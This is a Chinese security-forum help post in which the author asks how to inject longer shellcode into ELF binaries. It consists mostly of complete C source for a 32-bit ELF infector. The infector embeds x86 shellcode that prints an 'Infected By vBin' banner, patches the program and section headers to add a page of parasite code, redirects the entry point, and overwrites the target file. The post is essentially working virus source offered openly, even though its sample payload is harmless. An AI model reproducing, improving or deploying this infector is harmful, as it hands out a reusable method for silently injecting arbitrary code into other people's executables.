首页
社区
课程
招聘
未解决 [求助]_ShellCode太长就会失败 谁有更好的方法
发表于: 2021-2-7 21:41 2782

未解决 [求助]_ShellCode太长就会失败 谁有更好的方法

2021-2-7 21:41
2782

网上找个ELF插入Code,他这个方法就是俩个LOAD中间填充方法
,但是g_ShellCode太长就会失败 谁有更好的方法,不破坏其他段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>
 
#define _ERROR_NULL(nRetCode)   if (!nRetCode) goto Exit0;
#define _ERROR_OPEN(nRetCode)   if (nRetCode < 0) goto Exit0;
#define _ERROR_SEEK(nRetCode)   if (nRetCode < 0) goto Exit0;
#define _ERROR_WRITE(nRetCode)  if (nRetCode < 0) goto Exit0;
#define _ERROR_CHMOD(nRetCode)  if (nRetCode < 0) goto Exit0;
#define _ERROR_CHOWN(nRetCode)  if (nRetCode < 0) goto Exit0;
#define _ERROR_RENAME(nRetCode) if (nRetCode < 0) goto Exit0;
#define _ERROR_READ(nRetCode, nSize) if (nRetCode != nSize) goto Exit0;
#define _PRINT_EXIT(pszMsg) printf("%s \n", pszMsg); goto Exit0;
 
#define PAGE_SIZE 4096
 
char g_ShellCode[] =
    "\x0\x0\x0\x0"
    "\x50"                                   // push eax
    "\x53"                                   // push ebx
    "\x51"                                   // push ecx
    "\x52"                                   // push edx
    "\xE8\x0\x0\x0\x0"                // call $+5
    "\x59"                                   // pop ecx
    "\x81\xC1\x1A\x0\x0\x0"       // add ecx, 1Ah
    "\xB8\x04\x0\x0\x0"              // mov eax, 4
    "\xBB\x2\x0\x0\x0"               // mov ebx, 2
    "\xBA\x12\x0\x0\x0"             // mov edx, 12h
    "\xCD\x80"                           // int 80h
    "\xEB\x13"                            // jmp leave
    "\x49\x6E\x66\x65\x63\x74\x65\x64\x20"   // [Infected ]
    "\x42\x79\x20\x76\x42\x69\x6E\x0A\x00"   // [By vBin\n\0]
    "\x0"                                     // align
                                                // leave:
    "\x5A"                                   // pop edx
    "\x59"                                   // pop ecx
    "\x5B"                                   // pop ebx
    "\x58"                                   // pop eax
    "\xB8\x0\x0\x0\x0"                // mov eax, 0
    "\xFF\xE0"                              // jmp eax
    "\xB8\x1\x0\x0\x0"                 // mov eax, 1 [Reserved For Debug]
    "\xBB\x0\x0\x0\x0"                // mov ebx, 0 [Reserved For Debug]
    "\xCD\x80"                            // int 80h    [Reserved For Debug]
;
int  g_nVirusSize = sizeof(g_ShellCode);
long g_nVirusEntry = 4;           // offset of virus code in 'g_ShellCode'
long g_nVirusOffsetOfSRCEntry = 63// record host entry
 
// copy nDataSize bytes from FILE nFromHandle to FILE nToHandle.
// note: file pointer can be changed with lseek, so they needn't point to file start.
int CopyFileData(int nFromHandle, int nToHandle, unsigned int nDataSize)
{
    int nResult = 0;
    int nRetCode = 0;
 
    char szData[PAGE_SIZE];
    unsigned int nWritedSize = 0;
 
    while (nWritedSize + PAGE_SIZE < nDataSize)
    {
        nRetCode = read(nFromHandle, szData, PAGE_SIZE);
        _ERROR_READ(nRetCode, PAGE_SIZE);
 
        nRetCode = write(nToHandle, szData, PAGE_SIZE);
        _ERROR_WRITE(nRetCode);
 
        nWritedSize += PAGE_SIZE;
    }
 
    // copy the remain SIZE of nDataSize modulod by PAGE_SIZE
    nRetCode = read(nFromHandle, szData, nDataSize - nWritedSize);
    _ERROR_READ(nRetCode, nDataSize - nWritedSize);
 
    nRetCode = write(nToHandle, szData, nDataSize - nWritedSize);
    _ERROR_WRITE(nRetCode);
 
    nResult = 1;
Exit0:
    return nResult;
}
 
/* Return true if current file is a expect ELF file*/
int check_elf_header(Elf32_Ehdr const Ehdr)
{
    int nResult = 0;
    int nRetCode = 0;
 
    nRetCode = strncmp(Ehdr.e_ident, ELFMAG, SELFMAG);
    if (0 != nRetCode)
    {
       _PRINT_EXIT ("Not Elf File!");  
    }
 
    if (Ehdr.e_ident[EI_CLASS] != ELFCLASS32)
    {
        _PRINT_EXIT ("Not 32bit File!");
    }
 
    if (Ehdr.e_ident[EI_DATA] != ELFDATA2LSB)
    {
        _PRINT_EXIT ("Not LSB!");
    }
 
    if ((Ehdr.e_type != ET_EXEC) && (Ehdr.e_type != ET_DYN))
    {
        _PRINT_EXIT ("Not Execute File!");
    }
 
    if (Ehdr.e_machine != EM_386)
    {
        _PRINT_EXIT ("Machine Not 386!");
    }
 
    if (Ehdr.e_version != EV_CURRENT)
    {
        _PRINT_EXIT ("Version Error!");
    }
 
    nResult = 1;
Exit0:
    return nResult;
}
 
int infect(char *pszFileName)
{
    int nResult      = 0;
    int nRetCode     = 0;
 
    Elf32_Shdr *pShdr = NULL;
    Elf32_Phdr *pPhdr = NULL;
    Elf32_Ehdr Ehdr;
 
    int nFileHandle  = -1;
    int nTmpHandle   = -1;
 
    char szTmpName[] = "infect.tmp";
    char szData[PAGE_SIZE] = { 0 };
 
    char *pchData    = NULL;
    char *pchSData   = NULL;
 
    int i            = 0;
    int nPLen        = 0;
    int nSLen        = 0;
    int nOffset      = 0;
    int nEVaddr      = 0;
    int nOldShoff    = 0;
    int nTmpFilePos  = 0;
    int nPaddingSize = 0;   
 
    struct stat FileStat;
 
    nFileHandle = open(pszFileName, O_RDONLY);
    _ERROR_OPEN(nFileHandle);
 
    nRetCode = lseek(nFileHandle, 0, SEEK_SET);           /* 把文件指针指向文件的开头.  */
    _ERROR_SEEK(nRetCode);
 
    nRetCode = read(nFileHandle, &Ehdr, sizeof(Ehdr)); /* 获取文件头信息*/
    _ERROR_READ(nRetCode, sizeof(Ehdr));
 
    if (!check_elf_header (Ehdr))
     {
         _PRINT_EXIT("Not a expect Elf File!");  
     }
 
    printf ("Ehdr.e_entry=%p\n", Ehdr.e_entry);
    *(int *)&g_ShellCode[g_nVirusOffsetOfSRCEntry] = Ehdr.e_entry;
 
    nPLen = sizeof(Elf32_Phdr) * Ehdr.e_phnum; // 程序头表条目数
    pchData = (char *)malloc(nPLen);
    _ERROR_NULL(pchData);
 
    nRetCode = lseek(nFileHandle, Ehdr.e_phoff, SEEK_SET); // 程序头表偏移量
    _ERROR_SEEK(nRetCode);
 
    nRetCode = read(nFileHandle, pchData, nPLen); // 从程序头表开始读取所有的程序头表
    _ERROR_READ(nRetCode, nPLen);   
 
    /*
     * update the phdr's to reflect the extention of the text segment (to
     * allow virus insertion)
     */
    nOffset = 0;
    for (pPhdr = (Elf32_Phdr *)pchData, i = 0; i < Ehdr.e_phnum; i++)
    {
        if (nOffset)
        {
            /* 位于插入点后的各代码段偏移加一页大小  */
            /* 不规则排列 */
            printf ("pPhdr->p_offset=%x\n", pPhdr->p_offset);
            pPhdr->p_offset += PAGE_SIZE;
        }
        else if (PT_LOAD == pPhdr->p_type && 0 == pPhdr->p_offset) /* 可加载段(代码及数据段)*/
        {
            /* 可加载段,并非说此时p_offset必须是0,但通常是的 */
            int palen;
            /* 内存大小和文件大小不一致,说明存在.bss段 */
            if (pPhdr->p_filesz != pPhdr->p_memsz)
            {
                /* 如果存在.bss, 直接在pPhdr->p_vaddr + pPhdr->p_filesz后填充可能被覆盖,
                   导致插入部分物理插入无效。那为什么不插入到pPhdr->p_vaddr + pPhdr->p_memsz后?
                   不插入pPhdr->p_vaddr + pPhdr->p_memsz显然静态文件不存在.bss区间 */
                _PRINT_EXIT("pPhdr->p_filesz != pPhdr->p_memsz");
            }
 
            /* 新的程序入口点 entry point,也是原代码段尾部填充区位置 */
            nEVaddr = pPhdr->p_vaddr + pPhdr->p_filesz;
            printf ("nEVaddr(new entry)=%p\n", nEVaddr);
            /* 原代码段尾部填充大小,段以PAGE_SIZE为单位进行对齐 */
            nPaddingSize = PAGE_SIZE - (nEVaddr & (PAGE_SIZE - 1));
            /* 检查插入代码是否超过填充区大小 */
            printf ("g_nVirusSize=%x, nPaddingSize=%x\n", g_nVirusSize, nPaddingSize);
            if (g_nVirusSize >= nPaddingSize)
            {
                //_PRINT_EXIT("Virus too large!");
    continue;
            }
            printf ("nEVaddr=%p, g_nVirusEntry=%x\n", nEVaddr, g_nVirusEntry);
            Ehdr.e_entry = nEVaddr + g_nVirusEntry;
            /* 既然phdr->p_offset为零,这里还有必要这样编码吗?*/
            /* 在文件中物理地插入寄生代码到这个位置*/
            nOffset = pPhdr->p_offset + pPhdr->p_filesz; // Virus offset in file
            pPhdr->p_filesz += g_nVirusSize;
            pPhdr->p_memsz += g_nVirusSize;
        }
 
        /* 依次遍历每个程序头表(程序段)*/
        ++pPhdr;
    }
 
    printf ("nOffset=%x\n", nOffset);
    if (0 == nOffset)
    {
        _PRINT_EXIT("No LOAD Segment!");
    }
 
    nSLen = sizeof(Elf32_Shdr) * Ehdr.e_shnum;
    pchSData = (char *)malloc(nSLen);
    _ERROR_NULL(pchSData);
 
    nRetCode = lseek(nFileHandle, Ehdr.e_shoff, SEEK_SET);
    _ERROR_SEEK(nRetCode);
 
    nRetCode = read(nFileHandle, pchSData, nSLen);
    _ERROR_READ(nRetCode, nSLen);
 
    /* update the shdr's to reflect the insertion of the parasite */
    for (pShdr = (Elf32_Shdr *)pchSData, i = 0; i < Ehdr.e_shnum; i++)
    {
        /* 位于插入点后的各节区偏移也增加一页 */
        if (pShdr->sh_offset >= nOffset)
        {
            printf ("pShdr->sh_offset=%x\n", pShdr->sh_offset);
            /* 基本上从小到大升序排列 */
            pShdr->sh_offset += PAGE_SIZE;
        }
        /* 被插入代码所在节区  */
        else if (nEVaddr == (pShdr->sh_addr + pShdr->sh_size))
        {
            /* if its not strip safe then we cant use it */
            /* 被strip过的ELF文件也并非就不存在SHT_PROGBITS段,
               *.text节区也可以有该属性,并且默认strip只去掉
               去除.symbol节的内容以及.debug节的内容  */
            printf ("i=%d, pShdr->sh_type=%x\n", i, pShdr->sh_type);
            if (pShdr->sh_type != SHT_PROGBITS )
            {
                printf ("exit: pShdr->sh_type != SHT_PROGBITS\n");
                _PRINT_EXIT("stat error!\n");
            }
            pShdr->sh_size += g_nVirusSize;
        }
        /* 依次遍历每个节区  */
        pShdr++;
    }
 
    /* update ehdr to reflect new offsets */
    nOldShoff = Ehdr.e_shoff;
    if (Ehdr.e_shoff >= nOffset)
    {
        Ehdr.e_shoff += PAGE_SIZE;
    }
 
    nRetCode = fstat(nFileHandle, &FileStat);
    if (nRetCode < 0)
    {
        _PRINT_EXIT("stat error!\n");
    }
 
    nTmpHandle = open(szTmpName, O_WRONLY | O_CREAT | O_TRUNC, FileStat.st_mode);
    _ERROR_OPEN(nTmpHandle);
 
    nRetCode = lseek(nFileHandle, 0, SEEK_SET);
    _ERROR_SEEK(nFileHandle);
 
    nRetCode = write(nTmpHandle, &Ehdr, sizeof(Elf32_Ehdr));
    _ERROR_WRITE(nRetCode);
 
    nRetCode = write(nTmpHandle, pchData, nPLen);
    _ERROR_WRITE(nRetCode);
 
    nTmpFilePos = sizeof(Elf32_Ehdr) + nPLen;
    nRetCode = lseek(nFileHandle, nTmpFilePos, SEEK_SET);
    _ERROR_SEEK(nRetCode);
 
    if (nOffset < nTmpFilePos)
    {
        _PRINT_EXIT("fatal error!");
    }
    nRetCode = CopyFileData(nFileHandle, nTmpHandle, nOffset - nTmpFilePos);
    _ERROR_NULL(nRetCode);
 
    nRetCode = write(nTmpHandle, g_ShellCode, g_nVirusSize);
    _ERROR_WRITE(nRetCode);
 
    memset(szData, PAGE_SIZE - g_nVirusSize, 0);
 
    nRetCode = write(nTmpHandle, szData, PAGE_SIZE - g_nVirusSize);
    _ERROR_WRITE(nRetCode);
 
    nRetCode = CopyFileData(nFileHandle, nTmpHandle, nOldShoff - nOffset);
    _ERROR_NULL(nRetCode);
 
    nRetCode = write(nTmpHandle, pchSData, nSLen);
    _ERROR_WRITE(nRetCode);
 
    nTmpFilePos = nOldShoff + nSLen;
    nRetCode = lseek(nFileHandle, nTmpFilePos, SEEK_SET);
    _ERROR_SEEK(nRetCode);
 
    nRetCode = CopyFileData(
        nFileHandle,
        nTmpHandle,
        FileStat.st_size - nTmpFilePos
    );
    _ERROR_NULL(nRetCode);
 
    nRetCode = rename(szTmpName, pszFileName);
    _ERROR_RENAME(nRetCode);
 
    nRetCode = fchmod(nTmpHandle, FileStat.st_mode);
    _ERROR_CHMOD(nRetCode);
 
    nRetCode = fchown(nTmpHandle, FileStat.st_uid, FileStat.st_gid);
    _ERROR_CHOWN(nRetCode);
 
    printf("Infect Success!\n");
 
    nResult = 1;
Exit0:
    if (nFileHandle >= 0)
    {
        close(nFileHandle);
        nFileHandle = -1;
    }
 
    if (nTmpHandle >= 0)
    {
        close(nTmpHandle);
        nTmpHandle = -1;
    }
 
    if (pchData)
    {
        free(pchData);
        pchData = NULL;
    }
 
    if (pchSData)
    {
        free(pchSData);
        pchSData = NULL;
    }
    return nResult;
}
 
int main(int argc, char **argv)
{
    int nRetCode = 0;
 
    if (argc != 2)
  {
      _PRINT_EXIT("usage: demo <filename>");
  }
 
  nRetCode = infect(argv[1]);
  if (nRetCode != 1)
  {
      _PRINT_EXIT("infect failed");     
      goto Exit0;
  }
 
Exit0: 
    return 0;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-2-7 21:44 被匿名练习者编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (1)
游客
登录 | 注册 方可回帖
返回
//